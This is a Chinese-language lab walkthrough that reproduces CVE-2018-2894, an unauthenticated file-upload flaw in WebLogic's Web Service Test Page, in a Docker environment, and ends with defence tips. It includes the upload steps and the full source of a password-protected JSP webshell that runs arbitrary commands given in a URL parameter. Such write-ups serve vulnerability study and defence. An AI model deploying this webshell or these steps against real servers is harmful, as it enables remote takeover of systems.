1.Weblogic介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
2.漏洞描述
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 2018 年 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。
3.影响版本
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
4.环境搭建
进入CVE-2018-2894目录
启动容器
docker-compose up -d
查看端口
docker ps- a
5.漏洞复现
访问http://192.168.0.118:7001/console/login/LoginForm.jsp进入登录页面
查看管理员账户密码,管理员用户名为weblogic,密码为d7SZ3NYK
docker-compose logs | grep password
登录后台页面,点击base_domain
的配置,在 ‘高级’ 中勾选 ‘启用 Web 服务测试页’ 选项,然后保存配置。
访问
http://192.168.0.118:7001/ws_utc/config.do
,设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
,访问这个目录是无需权限的,这一点很重要。
然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp大马
#jspexec.jsp jsp有回显带密码验证的,这里脚本的密码为666
#访问时url格式如下
#http://127.0.0.1/jspexec.jsp?pwd=666&i=ls
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
审查元素,使用抓包方式进行查看时间戳
访问
http://192.168.0.118:7001/ws_utc/css/config/keystore/1697641610485_1.jsp?pwd=666&i=ls
,即可执行webshell
6.漏洞防御
1、 设置config.do,begin.do页面登录授权后访问;
2、 IPS等防御产品可以加入相应的特征;
3、 升级到官方的最新版本。